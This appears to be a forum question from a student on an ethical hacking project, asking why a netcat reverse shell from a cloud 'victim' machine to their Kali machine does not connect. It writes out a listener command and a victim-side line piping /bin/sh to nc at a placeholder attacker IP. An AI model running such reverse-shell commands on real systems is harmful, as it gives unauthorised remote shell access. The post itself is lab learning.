reverse shell – Setting up netcat session over the internet


I am a student working on an ethical hacking project.

How do I set a netcat session over the internet? My project requires us to use a public service like AWS or DigitalOcean as the victim machine and my own PC has an attacker machine. I tried the following commands:

Attacker’s machine running the latest Kali 2020.3 (Tried NAT VM setup and live booting too):

nc –nlvp 5555

Victim’s machine running ubuntu 18.04.05:

/bin/sh | nc <PUBLIC IP OF ATTACKER's MACHINE> 5555

But it just does not open a reverse shell on the attacker’s machine. Did I miss out anything?